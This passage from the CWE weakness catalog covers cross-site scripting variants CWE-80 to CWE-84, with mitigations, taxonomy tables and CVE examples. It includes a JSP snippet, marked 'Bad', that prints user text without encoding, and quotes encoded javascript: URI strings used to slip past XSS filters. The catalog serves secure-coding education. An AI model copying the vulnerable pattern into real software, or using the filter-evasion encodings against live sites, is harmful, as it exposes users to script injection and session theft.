	<a href="https://www.cve.org/CVERecord?id=CVE-2008-4730">https://www.cve.org/CVERecord?id=CVE-2008-4730</a>
<b>CVE-2008-5734</b>	Reflected XSS sent through email message. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5734">https://www.cve.org/CVERecord?id=CVE-2008-5734</a>
<b>CVE-2008-0971</b>	Stored XSS in a security product. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0971">https://www.cve.org/CVERecord?id=CVE-2008-0971</a>
<b>CVE-2008-5249</b>	Stored XSS using a wiki page. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5249">https://www.cve.org/CVERecord?id=CVE-2008-5249</a>
<b>CVE-2006-3568</b>	Stored XSS in a guestbook application. <a href="https://www.cve.org/CVERecord?id=CVE-2006-3568">https://www.cve.org/CVERecord?id=CVE-2006-3568</a>
<b>CVE-2006-3211</b>	Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag. <a href="https://www.cve.org/CVERecord?id=CVE-2006-3211">https://www.cve.org/CVERecord?id=CVE-2006-3211</a>
<b>CVE-2006-3295</b>	Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS (CWE-79). <a href="https://www.cve.org/CVERecord?id=CVE-2006-3295">https://www.cve.org/CVERecord?id=CVE-2006-3295</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	C	712	OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)	629	2123
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf	C	725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws	711	2130
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	2145
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	2147
MemberOf	C	811	OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)	809	2150
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	2164
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	931	OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)	928	2183
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	C	1005	7PK - Input Validation and Representation	700	2214
MemberOf	C	1033	OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)	1026	2231
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354

Nature	Type	ID	Name	V	Page
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

## Notes

### Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

### Applicable Platform

XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cross-site scripting (XSS)
7 Pernicious Kingdoms			Cross-site Scripting
CLASP			Cross-site scripting
OWASP Top Ten 2007	A1	Exact	Cross Site Scripting (XSS)
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A4	Exact	Cross-Site Scripting (XSS) Flaws
WASC	8		Cross-site Scripting
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-79		

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
63	Cross-Site Scripting (XSS)
85	AJAX Footprinting
209	XSS Using MIME Type Mismatch
588	DOM-Based XSS
591	Reflected XSS
592	Stored XSS

## References

[REF-709]Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". 2007. Syngress.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-712]"Cross-site scripting". 2008 August 6. Wikipedia. < [http://en.wikipedia.org/wiki/Cross-site\\_scripting](http://en.wikipedia.org/wiki/Cross-site_scripting) >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.



- [REF-714]RSnake. "XSS (Cross Site Scripting) Cheat Sheet". < <http://ha.ckers.org/xss.html> >.
- [REF-715]Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". < <http://msdn.microsoft.com/en-us/library/ms533046.aspx> >.
- [REF-716]Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!". < <http://blogs.msdn.com/cisg/archive/2008/12/15/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live.aspx> >.
- [REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.
- [REF-718]Ivan Ristic. "XSS Defense HOWTO". < <http://blog.modsecurity.org/2008/07/do-you-know-how.html> >.
- [REF-719]OWASP. "Web Application Firewall". < [http://www.owasp.org/index.php/Web\\_Application\\_Firewall](http://www.owasp.org/index.php/Web_Application_Firewall) >.
- [REF-720]Web Application Security Consortium. "Web Application Firewall Evaluation Criteria". < <http://www.webappsec.org/projects/wafec/v1/wasc-wafec-v1.0.html> >.
- [REF-721]RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHttpRequest". 2007 July 9.
- [REF-722]"XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. < [https://bugzilla.mozilla.org/show\\_bug.cgi?id=380418](https://bugzilla.mozilla.org/show_bug.cgi?id=380418) >.
- [REF-723]"Apache Wicket". < <http://wicket.apache.org/> >.
- [REF-724]OWASP. "XSS (Cross Site Scripting) Prevention Cheat Sheet". < [http://www.owasp.org/index.php/XSS\\_\(Cross\\_Site\\_Scripting\)\\_Prevention\\_Cheat\\_Sheet](http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) >.
- [REF-725]OWASP. "DOM based XSS Prevention Cheat Sheet". < [http://www.owasp.org/index.php/DOM\\_based\\_XSS\\_Prevention\\_Cheat\\_Sheet](http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet) >.
- [REF-726]Jason Lam. "Top 25 series - Rank 1 - Cross Site Scripting". 2010 February 2. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/02/22/top-25-series-rank-1-cross-site-scripting/> >.
- [REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.
- [REF-956]Wikipedia. "Samy (computer worm)". < [https://en.wikipedia.org/wiki/Samy\\_\(computer\\_worm\)](https://en.wikipedia.org/wiki/Samy_(computer_worm)) >.2018-01-16.
- [REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

**Weakness ID** : 80

**Structure** : Simple

**Abstraction** : Variant

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.

### Extended Description

This may allow such characters to be treated as control characters, which are executed client-side in the context of the user's session. Although this can be classified as an injection problem, the

more pertinent issue is the improper conversion of such special characters to respective context-appropriate entities before displaying them to the user.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊕	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

## Potential Mitigations

### Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

### Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

### Phase: Implementation

*Strategy = Attack Surface Reduction*

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

*Effectiveness = Defense in Depth*

### Demonstrative Examples

#### Example 1:

In the following example, a guestbook comment isn't properly encoded, filtered, or otherwise neutralized for script-related tags before being displayed in a client browser.

*Example Language: JSP*

*(Bad)*

```
<% for (Iterator i = guestbook.iterator(); i.hasNext(); ) {
  Entry e = (Entry) i.next(); %>
  <p>Entry #<%= e.getId() %></p>
  <p><%= e.getText() %></p>
  <%
  } %>
```

### Observed Examples

Reference	Description
<b>CVE-2002-0938</b>	XSS in parameter in a link. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0938">https://www.cve.org/CVERecord?id=CVE-2002-0938</a>
<b>CVE-2002-1495</b>	XSS in web-based email product via attachment filenames. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1495">https://www.cve.org/CVERecord?id=CVE-2002-1495</a>
<b>CVE-2003-1136</b>	HTML injection in posted message. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1136">https://www.cve.org/CVERecord?id=CVE-2003-1136</a>
<b>CVE-2004-2171</b>	XSS not quoted in error page. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2171">https://www.cve.org/CVERecord?id=CVE-2004-2171</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf		1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Basic XSS
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
18	XSS Targeting Non-Script Elements

CAPEC-ID	Attack Pattern Name
32	XSS Through HTTP Query Strings
86	XSS Through HTTP Headers
193	PHP Remote File Inclusion

## CWE-81: Improper Neutralization of Script in an Error Message Web Page

**Weakness ID :** 81

**Structure :** Simple

**Abstraction :** Variant

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page.

### Extended Description

Error pages may include customized 403 Forbidden or 404 Not Found pages.

When an attacker can trigger an error that contains script syntax within the attacker's input, then cross-site scripting attacks may be possible.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊗	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159
CanAlsoBe	⊗	209	Generation of Error Message Containing Sensitive Information	510
CanAlsoBe	⊗	390	Detection of Error Condition Without Action	893

### Weakness Ordinalities

**Resultant :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

### Potential Mitigations

**Phase: Implementation**

Do not write user-controlled input to error pages.

**Phase: Implementation**

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

### Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

### Phase: Implementation

*Strategy = Attack Surface Reduction*

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

*Effectiveness = Defense in Depth*

### Observed Examples

Reference	Description
<b>CVE-2002-0840</b>	XSS in default error page from Host: header. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0840">https://www.cve.org/CVERecord?id=CVE-2002-0840</a>
<b>CVE-2002-1053</b>	XSS in error message. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1053">https://www.cve.org/CVERecord?id=CVE-2002-1053</a>
<b>CVE-2002-1700</b>	XSS in error page from targeted parameter. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1700">https://www.cve.org/CVERecord?id=CVE-2002-1700</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command		888 2206

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			XSS in error pages
Software Fault Patterns	SFP24		Tainted input to command

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
198	XSS Targeting Error Pages

## References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page

**Weakness ID :** 82  
**Structure :** Simple  
**Abstraction :** Variant

### Description

The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute.


### Extended Description

Attackers can embed XSS exploits into the values for IMG attributes (e.g. SRC) that is streamed and then executed in a victim's browser. Note that when the page is loaded into a user's browsers, the exploit will automatically execute.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		83	Improper Neutralization of Script in Attributes in a Web Page	179

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

### Potential Mitigations

#### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either



by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

### Phase: Implementation

*Strategy = Attack Surface Reduction*

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

*Effectiveness = Defense in Depth*

### Observed Examples

Reference	Description
<b>CVE-2006-3211</b>	Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag. <a href="https://www.cve.org/CVERecord?id=CVE-2006-3211">https://www.cve.org/CVERecord?id=CVE-2006-3211</a>
<b>CVE-2002-1649</b>	javascript URI scheme in IMG tag. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1649">https://www.cve.org/CVERecord?id=CVE-2002-1649</a>
<b>CVE-2002-1803</b>	javascript URI scheme in IMG tag. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1803">https://www.cve.org/CVERecord?id=CVE-2002-1803</a>
<b>CVE-2002-1804</b>	javascript URI scheme in IMG tag. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1804">https://www.cve.org/CVERecord?id=CVE-2002-1804</a>
<b>CVE-2002-1805</b>	javascript URI scheme in IMG tag. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1805">https://www.cve.org/CVERecord?id=CVE-2002-1805</a>
<b>CVE-2002-1806</b>	javascript URI scheme in IMG tag. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1806">https://www.cve.org/CVERecord?id=CVE-2002-1806</a>
<b>CVE-2002-1807</b>	javascript URI scheme in IMG tag. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1807">https://www.cve.org/CVERecord?id=CVE-2002-1807</a>
<b>CVE-2002-1808</b>	javascript URI scheme in IMG tag. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1808">https://www.cve.org/CVERecord?id=CVE-2002-1808</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Script in IMG tags
Software Fault Patterns	SFP24		Tainted input to command

## CWE-83: Improper Neutralization of Script in Attributes in a Web Page

**Weakness ID** : 83

**Structure** : Simple

**Abstraction** : Variant



### Description

The product does not neutralize or incorrectly neutralizes "javascript:" or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159
ParentOf		82	Improper Neutralization of Script in Attributes of IMG Tags in a Web Page	177

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

### Potential Mitigations

#### Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

#### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks;

they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

### Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

### Phase: Implementation

*Strategy = Attack Surface Reduction*

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

*Effectiveness = Defense in Depth*

### Observed Examples

Reference	Description
<b>CVE-2001-0520</b>	Bypass filtering of SCRIPT tags using onload in BODY, href in A, BUTTON, INPUT, and others. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0520">https://www.cve.org/CVERecord?id=CVE-2001-0520</a>
<b>CVE-2002-1493</b>	guestbook XSS in STYLE or IMG SRC attributes. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1493">https://www.cve.org/CVERecord?id=CVE-2002-1493</a>
<b>CVE-2002-1965</b>	Javascript in onerror attribute of IMG tag. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1965">https://www.cve.org/CVERecord?id=CVE-2002-1965</a>
<b>CVE-2002-1495</b>	XSS in web-based email product via onmouseover event. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1495">https://www.cve.org/CVERecord?id=CVE-2002-1495</a>
<b>CVE-2002-1681</b>	XSS via script in <P> tag. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1681">https://www.cve.org/CVERecord?id=CVE-2002-1681</a>
<b>CVE-2004-1935</b>	Onload, onmouseover, and other events in an e-mail attachment. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1935">https://www.cve.org/CVERecord?id=CVE-2004-1935</a>
<b>CVE-2005-0945</b>	Onmouseover and onload events in img, link, and mail tags. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0945">https://www.cve.org/CVERecord?id=CVE-2005-0945</a>
<b>CVE-2003-1136</b>	Javascript in onmouseover attribute in e-mail address or URL. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1136">https://www.cve.org/CVERecord?id=CVE-2003-1136</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	<b>C</b>	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			XSS using Script in Attributes
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
243	XSS Targeting HTML Attributes
244	XSS Targeting URI Placeholders
588	DOM-Based XSS

## CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page

**Weakness ID :** 84

**Structure :** Simple

**Abstraction :** Variant


### Description

The web application improperly neutralizes user-controlled input for executable script disguised with URI encodings.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	159

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Resolve all URIs to absolute or canonical representations before processing.

#### Phase: Implementation

*Strategy = Input Validation*

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

#### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

**Phase: Implementation**

With Struts, write all data from form beans with the bean's filter attribute set to true.

**Phase: Implementation***Strategy = Attack Surface Reduction*

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

*Effectiveness = Defense in Depth*

**Observed Examples**

Reference	Description
<b>CVE-2005-0563</b>	Cross-site scripting (XSS) vulnerability in Microsoft Outlook Web Access (OWA) component in Exchange Server 5.5 allows remote attackers to inject arbitrary web script or HTML via an email message with an encoded javascript: URL ("jav&#X41sc&#0010;ript:") in an IMG tag. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0563">https://www.cve.org/CVERecord?id=CVE-2005-0563</a>
<b>CVE-2005-2276</b>	Cross-site scripting (XSS) vulnerability in Novell Groupwise WebAccess 6.5 before July 11, 2005 allows remote attackers to inject arbitrary web script or HTML via an e-mail message with an encoded javascript URI (e.g. "j&#X41vascript" in an IMG tag). <a href="https://www.cve.org/CVERecord?id=CVE-2005-2276">https://www.cve.org/CVERecord?id=CVE-2005-2276</a>
<b>CVE-2005-0692</b>	Encoded script within BBcode IMG tag. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0692">https://www.cve.org/CVERecord?id=CVE-2005-0692</a>
<b>CVE-2002-0117</b>	Encoded "javascript" in IMG tag. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0117">https://www.cve.org/CVERecord?id=CVE-2002-0117</a>
<b>CVE-2002-0118</b>	Encoded "javascript" in IMG tag. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0118">https://www.cve.org/CVERecord?id=CVE-2002-0118</a>

**MemberOf Relationships**

